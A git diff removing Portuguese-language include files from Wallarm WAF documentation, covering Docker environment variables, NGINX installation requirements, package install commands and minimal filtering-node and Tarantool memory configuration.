              • `safe_blocking` para bloquear apenas aquelas solicitações maliciosas originadas de [endereços IP em lista cinza][graylist-docs]
              • `monitoring` para analisar, mas não bloquear solicitações
              • `off` para desativar a análise e o processamento de tráfego
              Por padrão: `monitoring`.
              [Descrição detalhada dos modos de filtragem →][filtration-modes-docs] | Não -`WALLARM_APPLICATION` | Identificador único da aplicação protegida a ser usada no Wallarm Cloud. O valor pode ser um número inteiro positivo, exceto `0`.

              O valor padrão (se a variável não for passada para o contêiner) é `-1`, o que indica o aplicativo **padrão** exibido no Console Wallarm → **Configurações** → **Aplicativo**.

              [Mais detalhes sobre a configuração de aplicativos →][application-configuration] | Não -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocating-memory-guide] alocada para Tarantool. O valor pode ser um número inteiro ou um flutuante (um ponto . é usado como separador decimal). Por padrão: 0.2 gigabytes. | Não -`NGINX_PORT` | Define uma porta que o NGINX usará dentro do contêiner Docker.

              A partir da imagem Docker `4.0.2-1`, o serviço [`wallarm-status`][node-status-docs] é executado automaticamente na mesma porta que o NGINX.

              O valor padrão (se a variável não for passada para o contêiner) é `80`.

              A sintaxe é `NGINX_PORT='443'`. | Não -`DISABLE_IPV6`| A variável com qualquer valor, exceto um vazio, exclui a linha `listen [::]:80 default_server ipv6only=on;` do arquivo de configuração do NGINX, que interromperá o processamento de conexão IPv6 do NGINX.

              Se a variável não for especificada explicitamente ou tiver um valor vazio `""`, o NGINX processa conexões IPv6 e IPv4. | Não diff --git a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.4.md b/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.4.md deleted file mode 100644 index 13e12c2a3b..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-4.4.md +++ /dev/null @@ -1,10 +0,0 @@ -Variável de ambiente | Descrição | Obrigatório ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token do nó Wallarm.

              Usando um token para várias instalações

              Você pode usar um token em várias instalações, independente da plataforma selecionada. Isso permite o agrupamento lógico de instâncias de nó na interface de usuário do Console Wallarm. Exemplo: você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina de um determinado desenvolvedor.

              | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso a proteger com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para a nuvem dos EUA
              • `api.wallarm.com` para a nuvem da UE
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo do nó:
              • `block` para bloquear solicitações maliciosas
              • `safe_blocking` para bloquear apenas as solicitações maliciosas originadas de [endereços IP em lista cinza][graylist-docs]
              • `monitoring` para analisar, mas não bloquear solicitações
              • `off` para desativar a análise e o processamento de tráfego
              Por padrão: `monitoring`.
              [Descrição detalhada dos modos de filtragem →][filtration-modes-docs] | Não -`WALLARM_APPLICATION` | Identificador único da aplicação protegida a ser usado na Nuvem Wallarm. O valor pode ser um número inteiro positivo, exceto `0`.

              O valor padrão (se a variável não for passada para o contêiner) é `-1`, que indica a aplicação **padrão** exibida no Console Wallarm → **Configurações** → **Aplicativo**.

              [Mais detalhes sobre a configuração de aplicações →][application-configuration] | Não -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocating-memory-guide] alocada para o Tarantool. O valor pode ser um número inteiro ou um float (um ponto . é um separador decimal). Por padrão: 0.2 gigabytes. | Não -`NGINX_PORT` | Define uma porta que o NGINX usará dentro do contêiner Docker.

              A partir da imagem Docker `4.0.2-1`, o serviço [`wallarm-status`][node-status-docs] é executado automaticamente na mesma porta que o NGINX.

              O valor padrão (se a variável não for passada para o contêiner) é `80`.

              A sintaxe é `NGINX_PORT='443'`. | Não -`DISABLE_IPV6` | A variável com qualquer valor, exceto um vazio, exclui a linha `listen [::]:80 default_server ipv6only=on;` do arquivo de configuração do NGINX, o que impedirá o NGINX de processar conexões IPv6.

              Se a variável não for especificada explicitamente ou tiver um valor vazio `""`, o NGINX processa conexões IPv6 e IPv4. | Não \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md b/include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md deleted file mode 100644 index a838bbd6d7..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-all-env-vars-latest.md +++ /dev/null @@ -1,11 +0,0 @@ -Variável de ambiente | Descrição| Obrigatório ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token de nó ou API do Wallarm. | Sim -`NGINX_BACKEND` | Domínio ou endereço IP do recurso a ser protegido com a solução Wallarm. | Sim -`WALLARM_API_HOST` | Servidor de API Wallarm:
              • `us1.api.wallarm.com` para a Nuvem dos EUA
              • `api.wallarm.com` para a Nuvem da UE
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_MODE` | Modo de nó:
              • `block` para bloquear solicitações maliciosas
              • `safe_blocking` para bloquear apenas aquelas solicitações maliciosas originadas de [endereços IP em lista cinza][graylist-docs]
              • `monitoring` para analisar, mas não bloquear solicitações
              • `off` para desativar a análise e processamento de tráfego
              Por padrão: `monitoring`.
              [Descrição detalhada dos modos de filtragem →][filtration-modes-docs] | Não -`WALLARM_APPLICATION` | Identificador único do aplicativo protegido a ser usado na Nuvem Wallarm. O valor pode ser um número inteiro positivo, exceto `0`.

              O valor padrão (se a variável não for passada para o contêiner) é `-1`, o que indica o aplicativo **padrão** exibido na Console Wallarm → **Configurações** → **Aplicativo**.

              [Mais detalhes sobre a configuração de aplicativos →][application-configuration] | Não -`TARANTOOL_MEMORY_GB` | [Quantidade de memória][allocating-memory-guide] alocada para o Tarantool. O valor pode ser um número inteiro ou um float (um ponto . é um separador decimal). Por padrão: 0.2 gigabytes. | Não -`NGINX_PORT` | Define uma porta que o NGINX usará dentro do contêiner Docker.

              A partir da imagem Docker `4.0.2-1`, o serviço [`wallarm-status`][node-status-docs] é executado automaticamente na mesma porta que o NGINX.

              O valor padrão (se a variável não for passada para o contêiner) é `80`.

              A sintaxe é `NGINX_PORT='443'`. | Não -`DISABLE_IPV6`| A variável com qualquer valor que não seja um vazio exclui a linha `listen [::]:80 default_server ipv6only=on;` do arquivo de configuração NGINX, o que impedirá o NGINX de processar conexões IPv6.

              Se a variável não for especificada explicitamente ou tiver um valor vazio `""`, o NGINX processará conexões IPv6 e IPv4. | Não -`WALLARM_LABELS` |

              Disponível a partir do nó 4.6. Funciona apenas se `WALLARM_API_TOKEN` estiver configurado para [token de API][api-token] com o papel `Deploy`. Define a etiqueta `group` para a agrupamento de instâncias de nó, por exemplo:

              `WALLARM_LABELS="group="`

              ...colocará a instância do nó no grupo de instâncias `` (existente, ou, se não existir, será criado).

              | Sim (para tokens de API) \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-4.2.md b/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-4.2.md deleted file mode 100644 index b51c584071..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-4.2.md +++ /dev/null @@ -1,4 +0,0 @@ -Variável de ambiente | Descrição| Obrigatório ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token de nó Wallarm.

              Variáveis anteriores que configuram o acesso à nuvem Wallarm

              Antes do lançamento da versão 4.0, as variáveis anteriores a `WALLARM_API_TOKEN` eram `DEPLOY_USERNAME` e `DEPLOY_PASSWORD`. A partir do novo lançamento, é recomendado usar a nova abordagem baseada em token para acessar a nuvem Wallarm. [Mais detalhes sobre a migração para a nova versão do nó](/updating-migrating/docker-container/)

              | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para a nuvem dos EUA
              • `api.wallarm.com` para a nuvem da UE
              Por padrão: `api.wallarm.com`. | Não \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-4.4.md b/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-4.4.md deleted file mode 100644 index 71ee684f72..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-4.4.md +++ /dev/null @@ -1,4 +0,0 @@ -Variável de ambiente | Descrição | Requerido ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token do nó Wallarm.

              Usando um token para várias instalações

              Você pode usar um token em várias instalações, independentemente da plataforma selecionada. Isso permite o agrupamento lógico de instâncias de nó na interface do usuário do console Wallarm. Exemplo: você implanta vários nós Wallarm em um ambiente de desenvolvimento, cada nó está em sua própria máquina pertencente a um determinado desenvolvedor.

              | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para a nuvem dos EUA
              • `api.wallarm.com` para a nuvem da UE
              Por padrão: `api.wallarm.com`. | Não \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md b/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md deleted file mode 100644 index 3f15e018e1..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount-latest.md +++ /dev/null @@ -1,5 +0,0 @@ -Variável de ambiente | Descrição| Obrigatório ---- | ---- | ---- -`WALLARM_API_TOKEN` | Token de nó Wallarm ou API. | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para a Nuvem dos EUA
              • `api.wallarm.com` para a Nuvem da UE
              Por padrão: `api.wallarm.com`. | Não -`WALLARM_LABELS` |

              Disponível a partir do nó 4.6. Funciona apenas se `WALLARM_API_TOKEN` estiver configurado para [token da API][api-token] com a função `Deploy`. Define a etiqueta `group` para agrupamento de instâncias de nó, por exemplo:

              `WALLARM_LABELS="group="`

              ...colocará a instância de nó no grupo de instâncias `` (existente, ou, se não existir, será criado).

              | Sim (para tokens de API) \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount.md b/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount.md deleted file mode 100644 index 61a05ac5de..0000000000 --- a/include-pt-BR/waf/installation/nginx-docker-env-vars-to-mount.md +++ /dev/null @@ -1,6 +0,0 @@ -Variável de ambiente | Descrição | Obrigatório ---- | ---- | ---- -`DEPLOY_USER` | Email para a conta de usuário **Deploy** ou **Administrador** no Wallarm Console. | Sim -`DEPLOY_PASSWORD` | Senha para a conta de usuário **Deploy** ou **Administrador** no Wallarm Console. | Sim -`WALLARM_API_HOST` | Servidor API Wallarm:
              • `us1.api.wallarm.com` para a Nuvem US
              • `api.wallarm.com` para a Nuvem EU
              Por padrão: `api.wallarm.com`. | Não -`DEPLOY_FORCE` | Substitui um nó Wallarm existente por um novo se o nome do nó Wallarm existente coincide com o identificador do contêiner que você está executando. Os seguintes valores podem ser atribuídos a uma variável:
              • `true` para substituir o nó de filtragem
              • `false` para desativar a substituição do nó de filtragem
              O valor padrão (se a variável não for passada para o contêiner) é `false`.
              O nome do nó Wallarm sempre coincide com o identificador do contêiner que você está executando. A substituição do nó de filtragem é útil se os identificadores de contêiner Docker em seu ambiente são estáticos e você está tentando executar outro contêiner Docker com o nó de filtragem (por exemplo, um contêiner com uma nova versão da imagem). Se neste caso o valor da variável for `false`, o processo de criação do nó de filtragem falhará. | Não \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-installation-options.md b/include-pt-BR/waf/installation/nginx-installation-options.md deleted file mode 100644 index a0e3790153..0000000000 --- a/include-pt-BR/waf/installation/nginx-installation-options.md +++ /dev/null @@ -1,6 +0,0 @@ -O processamento de solicitações no nó Wallarm é dividido em dois estágios: - -* Processamento primário no módulo NGINX-Wallarm. O processamento não requer muita memória e pode ser colocado em servidores frontend sem alterar os requisitos do servidor. -* Análise estatística das solicitações processadas no módulo de pós-análise. A pós-análise requer muita memória, o que pode exigir alterações na configuração do servidor ou a instalação da pós-análise em um servidor separado. - -Dependendo da arquitetura do sistema, os módulos NGINX-Wallarm e de pós-análise podem ser instalados no **mesmo servidor** ou em **servidores diferentes**. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-plus-requirements-4.0.md b/include-pt-BR/waf/installation/nginx-plus-requirements-4.0.md deleted file mode 100644 index 390f9744d2..0000000000 --- a/include-pt-BR/waf/installation/nginx-plus-requirements-4.0.md +++ /dev/null @@ -1,14 +0,0 @@ -* Acesso à conta com a função **Administrador** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem US](https://us1.my.wallarm.com/) ou [Nuvem EU](https://my.wallarm.com/) -* SELinux desabilitado ou configurado de acordo com as [instruções][configure-selinux-instr] -* Versão NGINX Plus 28 (R28) - - !!! info "Versões personalizadas do NGINX Plus" - Se você tiver uma versão diferente, consulte as instruções sobre [como conectar o módulo Wallarm à compilação personalizada do NGINX][nginx-custom] -* Execução de todos os comandos como um superusuário (por exemplo, `root`) -* Para processamento de solicitações e pós-análise em servidores diferentes: pós-análise instalada em um servidor separado de acordo com as [instruções][install-postanalytics-instr] -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` para trabalhar com a Nuvem Wallarm US ou `https://api.wallarm.com` para trabalhar com a Nuvem EU Wallarm. Se o acesso só pode ser configurado via servidor proxy, use as [instruções][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Editor de texto instalado **vim**, **nano** ou qualquer outro. Na instrução, **vim** é usado. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-postanalytics-2.12.md b/include-pt-BR/waf/installation/nginx-postanalytics-2.12.md deleted file mode 100644 index c1ee02be61..0000000000 --- a/include-pt-BR/waf/installation/nginx-postanalytics-2.12.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt install --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS" - ```bash - sudo yum install wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-postanalytics.md b/include-pt-BR/waf/installation/nginx-postanalytics.md deleted file mode 100644 index 2f6aec7f8d..0000000000 --- a/include-pt-BR/waf/installation/nginx-postanalytics.md +++ /dev/null @@ -1,12 +0,0 @@ -=== "Debian" - ```bash - sudo apt instalar --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "Ubuntu" - ```bash - sudo apt instalar --no-install-recommends wallarm-node nginx-module-wallarm - ``` -=== "CentOS ou Amazon Linux 2.0.2021x e inferiores" - ```bash - sudo yum instalar wallarm-node nginx-module-wallarm - ``` \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-requirements-3.0.md b/include-pt-BR/waf/installation/nginx-requirements-3.0.md deleted file mode 100644 index f7d24098f3..0000000000 --- a/include-pt-BR/waf/installation/nginx-requirements-3.0.md +++ /dev/null @@ -1,10 +0,0 @@ -* Acesso à conta com a função de **Administrador** ou **Deploy** e autenticação de dois fatores desativada no Wallarm Console para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) -* SELinux desativado ou configurado conforme as [instruções][configure-selinux-instr] -* Execução de todos os comandos como superusuário (por exemplo, `root`) -* Para o processamento de solicitações e pós-análises em servidores diferentes: pós-análise instalada no servidor separado conforme as [instruções][install-postanalytics-instr] -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Garanta que o acesso não seja bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com:444` para trabalhar com a Wallarm Cloud dos EUA ou a `https://api.wallarm.com:444` para trabalhar com a Wallarm Cloud da UE. Se o acesso puder ser configurado apenas através do servidor proxy, use as [instruções][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Editor de texto instalado **vim**, **nano**, ou qualquer outro. Na instrução, **vim** é usado \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-requirements-4.0.md b/include-pt-BR/waf/installation/nginx-requirements-4.0.md deleted file mode 100644 index e2e3d83903..0000000000 --- a/include-pt-BR/waf/installation/nginx-requirements-4.0.md +++ /dev/null @@ -1,14 +0,0 @@ -* Acesso à conta com a função de **Administrador** e autenticação de dois fatores desabilitada no Console Wallarm para o [Cloud dos EUA](https://us1.my.wallarm.com/) ou [Cloud da EU](https://my.wallarm.com/) -* SELinux desativado ou configurado de acordo com as [instruções][configure-selinux-instr] -* Versão do NGINX 1.24.0 - - !!! info "Versões personalizadas do NGINX" - Se você tem uma versão diferente, consulte as instruções sobre [como conectar o módulo Wallarm à compilação personalizada do NGINX][nginx-custom] -* Execução de todos os comandos como superusuário (ex.: `root`) -* Para o processamento de solicitações e pós-análise em servidores diferentes: pós-análise instalada em um servidor separado conforme as [instruções][install-postanalytics-instr] -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Garanta que o acesso não esteja bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com` para trabalhar com o Cloud Wallarm dos EUA ou a `https://api.wallarm.com` para trabalhar com o Cloud Wallarm da UE. Se o acesso só pode ser configurado via servidor proxy, use as [instruções][configure-proxy-balancer-instr] -* Access to the IP addresses below for downloading updates to attack detection rules, as well as retrieving precise IPs for your allowlisted, denylisted, or graylisted countries, regions, or data centers - - --8<-- "../include/wallarm-cloud-ips.md" -* Editor de texto instalado **vim**, **nano**, ou qualquer outro. Na instrução, **vim** é usado \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-requirements.md b/include-pt-BR/waf/installation/nginx-requirements.md deleted file mode 100644 index 2619114a41..0000000000 --- a/include-pt-BR/waf/installation/nginx-requirements.md +++ /dev/null @@ -1,7 +0,0 @@ -* Acesso à conta com a função de **Administrador** ou **Deploy** e autenticação de dois fatores desativada no Console Wallarm para a [Nuvem dos EUA](https://us1.my.wallarm.com/) ou [Nuvem da UE](https://my.wallarm.com/) -* SELinux desativado ou configurado de acordo com as [instruções][configure-selinux-instr] -* Execução de todos os comandos como superusuário (por exemplo, `root`) -* Para o processamento de solicitações e pós-análise em servidores diferentes: pós-análise instalada no servidor separado de acordo com as [instruções][install-postanalytics-instr] -* Acesso a `https://repo.wallarm.com` para baixar pacotes. Certifique-se de que o acesso não está bloqueado por um firewall -* Acesso a `https://us1.api.wallarm.com:444` para trabalhar com a Nuvem Wallarm dos EUA ou para `https://api.wallarm.com:444` para trabalhar com a Nuvem Wallarm da UE. Se o acesso só pode ser configurado via servidor proxy, use as [instruções][configure-proxy-balancer-instr] -* Editor de texto instalado **vim**, **nano**, ou qualquer outro. Na instrução, **vim** é usado diff --git a/include-pt-BR/waf/installation/nginx-waf-min-configuration-2.16.md b/include-pt-BR/waf/installation/nginx-waf-min-configuration-2.16.md deleted file mode 100644 index 40309c24f9..0000000000 --- a/include-pt-BR/waf/installation/nginx-waf-min-configuration-2.16.md +++ /dev/null @@ -1,87 +0,0 @@ -Os principais arquivos de configuração do NGINX e do nó de filtragem Wallarm estão localizados nos diretórios: - -* `/etc/nginx/conf.d/default.conf` com as configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com as configurações globais do nó de filtragem - - Este arquivo é usado para configurações aplicáveis ​​a todos os domínios. Para aplicar configurações diferentes a grupos de domínios diferentes, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. Uma descrição detalhada está disponível neste [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -#### Modo de filtragem de solicitação - -Por padrão, o nó de filtragem está no status `off` e não analisa solicitações de entrada. Para habilitar a análise de solicitações, siga as etapas: - -1. Abra o arquivo `/etc/nginx/conf.d/default.conf`: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. Adicione a linha `wallarm_mode monitoring;` ao bloco `https`, `server` ou `location`: - -??? nota "Exemplo do arquivo `/etc/nginx/conf.d/default.conf`" - - ```bash - server { - # porta para a qual as solicitações são filtradas - listen 80; - # domínio para o qual as solicitações são filtradas - server_name localhost; - # Modo de filtragem de nó - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -Ao operar no modo `monitoring`, o nó de filtragem pesquisa sinais de ataque nas solicitações, mas não bloqueia ataques detectados. Recomendamos manter o tráfego fluindo através do nó de filtragem no modo `monitoring` por vários dias após a implementação do nó de filtragem e só então habilitar o modo `block`. [Aprenda as recomendações sobre a configuração do modo de operação do nó de filtragem →][waf-mode-recommendations] - -#### Memória - -!!! info "Módulo Pós-análise em um servidor separado" - Se você instalou o módulo pós-análise em um servidor separado, pule esta etapa, pois você já tem o módulo configurado. - -O nó Wallarm usa o armazenamento em memória Tarantool. Saiba mais sobre a quantidade de recursos necessários [aqui][memory-instr]. Observe que para ambientes de teste você pode alocar menos recursos do que para os de produção. - -Para alocar memória para o Tarantool: - -1. Abra o arquivo de configuração do Tarantool no modo de edição: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. Especifique o tamanho da memória em GB na diretiva `SLAB_ALLOC_ARENA`. O valor pode ser um inteiro ou um float (um ponto `.` é um separador decimal). - - Recomendações detalhadas sobre a alocação de memória para o Tarantool são descritas nestas [instruções][memory-instr]. -3. Para aplicar as alterações, reinicie o Tarantool: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### Endereço do servidor pós-análise separado - -!!! info "NGINX-Wallarm e pós-análise no mesmo servidor" - Se os módulos NGINX-Wallarm e de pós-análise estão instalados no mesmo servidor, pule esta etapa. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### Outras configurações - -Para atualizar outras configurações do NGINX e do nó Wallarm, use a documentação do NGINX e a lista de [diretivas disponíveis do nó Wallarm][waf-directives-instr]. diff --git a/include-pt-BR/waf/installation/nginx-waf-min-configuration-3.6.md b/include-pt-BR/waf/installation/nginx-waf-min-configuration-3.6.md deleted file mode 100644 index 3799004b6b..0000000000 --- a/include-pt-BR/waf/installation/nginx-waf-min-configuration-3.6.md +++ /dev/null @@ -1,91 +0,0 @@ -Os principais arquivos de configuração do NGINX e do nó de filtragem Wallarm estão localizados nos diretórios: - -* `/etc/nginx/conf.d/default.conf` com as configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com configurações globais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar diferentes configurações a diferentes grupos de domínio, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Mais informações detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. A descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -#### Modo de filtração de solicitações - -Por padrão, o nó de filtragem está no status `off` e não analisa as solicitações recebidas. Para ativar a análise de solicitações, siga as seguintes etapas: - -1. Abra o arquivo `/etc/nginx/conf.d/default.conf`: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. Adicione a linha `wallarm_mode monitoring;` no bloco `https`, `server` ou `location`: - -??? observação "Exemplo do arquivo `/etc/nginx/conf.d/default.conf`" - - ```bash - server { - # porta para a qual as solicitações são filtradas - listen 80; - # domínio para o qual as solicitações são filtradas - server_name localhost; - # Modo do nó de filtragem - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -Ao operar no modo `monitoring`, o nó de filtragem procura sinais de ataque nas solicitações, mas não bloqueia os ataques detectados. Recomendamos manter o fluxo de tráfego via nó de filtragem no modo `monitoring` por alguns dias após a implantação do nó de filtragem e só então ativar o modo `block`. [Aprenda as recomendações sobre a configuração do modo de operação do nó de filtragem →][waf-mode-recommendations] - -#### Memória - -!!! informação "Módulo Postanalytics em servidor separado" - Se você instalou o módulo postanalytics em um servidor separado, pule esta etapa, pois você já tem o módulo configurado. - -O nó Wallarm usa o armazenamento em memória Tarantool. Saiba mais sobre a quantidade de recursos necessários [aqui][memory-instr]. Observe que para ambientes de teste você pode alocar menos recursos do que para os de produção. - -Para alocar memória para o Tarantool: - -1. Abra o arquivo de configuração do Tarantool no modo de edição: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferiores" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. Especifique o tamanho da memória em GB na diretiva `SLAB_ALLOC_ARENA`. O valor pode ser um número inteiro ou um flutuante (um ponto `.` é um separador decimal). - - As recomendações detalhadas sobre a alocação de memória para o Tarantool são descritas nestas [instruções][memory-instr]. -3. Para aplicar as alterações, reinicie o Tarantool: - - ```bash - sudo systemctl restart wallarm-tarantool - ``` - -#### Endereço do servidor postanalytics separado - -!!! informação "NGINX-Wallarm e postanalytics no mesmo servidor" - Se os módulos NGINX-Wallarm e postanalytics estiverem instalados no mesmo servidor, pule esta etapa. - ---8<-- "../include/waf/configure-separate-postanalytics-address-nginx.md" - -#### Outras configurações - -Para atualizar outras configurações do NGINX e nó Wallarm, use a documentação do NGINX e a lista de [diretivas de nó Wallarm disponíveis][waf-directives-instr]. \ No newline at end of file diff --git a/include-pt-BR/waf/installation/nginx-waf-min-configuration-4.4.md b/include-pt-BR/waf/installation/nginx-waf-min-configuration-4.4.md deleted file mode 100644 index 41adf341e6..0000000000 --- a/include-pt-BR/waf/installation/nginx-waf-min-configuration-4.4.md +++ /dev/null @@ -1,95 +0,0 @@ -Os principais arquivos de configuração do NGINX e do nó de filtragem Wallarm estão localizados nos diretórios: - -* `/etc/nginx/conf.d/default.conf` com as configurações do NGINX -* `/etc/nginx/conf.d/wallarm.conf` com as configurações gerais do nó de filtragem - - O arquivo é usado para configurações aplicadas a todos os domínios. Para aplicar diferentes configurações a diferentes grupos de domínios, use o arquivo `default.conf` ou crie novos arquivos de configuração para cada grupo de domínio (por exemplo, `example.com.conf` e `test.com.conf`). Informações mais detalhadas sobre os arquivos de configuração do NGINX estão disponíveis na [documentação oficial do NGINX](https://nginx.org/en/docs/beginners_guide.html). -* `/etc/nginx/conf.d/wallarm-status.conf` com as configurações de monitoramento do nó Wallarm. A descrição detalhada está disponível no [link][wallarm-status-instr] -* `/etc/default/wallarm-tarantool` ou `/etc/sysconfig/wallarm-tarantool` com as configurações do banco de dados Tarantool - -#### Modo de filtragem de solicitações - -Por padrão, o nó de filtragem está no status `off` e não analisa as solicitações recebidas. Para habilitar a análise de solicitações, siga as etapas: - -1. Abra o arquivo `/etc/nginx/conf.d/default.conf`: - - ```bash - sudo vim /etc/nginx/conf.d/default.conf - ``` -2. Adicione a linha `wallarm_mode monitoring;` ao bloco `https`, `server` ou `location`: - -??? note "Exemplo do arquivo `/etc/nginx/conf.d/default.conf`" - - ```bash - server { - # porta para a qual as solicitações são filtradas - listen 80; - # domínio para o qual as solicitações são filtradas - server_name localhost; - # Modo de nó de filtragem - wallarm_mode monitoring; - - location / { - root /usr/share/nginx/html; - index index.html index.htm; - } - - error_page 500 502 503 504 /50x.html; - location = /50x.html { - root /usr/share/nginx/html; - } - } - ``` - -Ao operar no modo `monitoring`, o nó de filtragem procura sinais de ataque nas solicitações, mas não bloqueia os ataques detectados. Recomendamos manter o tráfego fluindo por meio do nó de filtragem no modo `monitoring` por vários dias após a implantação do nó de filtragem e apenas depois ativar o modo `block`. [Aprenda recomendações para a configuração do modo de operação do nó de filtragem →][waf-mode-recommendations] - -#### Memória - -!!! info "Módulo de pós-análise em servidor separado" - Se você instalou o módulo de pós-análise em um servidor separado, então pule esta etapa, pois você já tem o módulo configurado. - -O nó Wallarm usa o armazenamento em memória do Tarantool. Saiba mais sobre a quantidade de recursos necessários [aqui][memory-instr]. Observe que para ambientes de teste, você pode alocar menos recursos do que para os ambientes de produção. - -Para alocar memória para o Tarantool: - -1. Abra o arquivo de configuração do Tarantool no modo de edição: - - === "Debian" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "Ubuntu" - ``` bash - sudo vim /etc/default/wallarm-tarantool - ``` - === "CentOS ou Amazon Linux 2.0.2021x e inferior" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "AlmaLinux, Rocky Linux ou Oracle Linux 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` - === "RHEL 8.x" - ``` bash - sudo vim /etc/sysconfig/wallarm-tarantool - ``` -2. Especifique o tamanho da memória em GB na diretiva 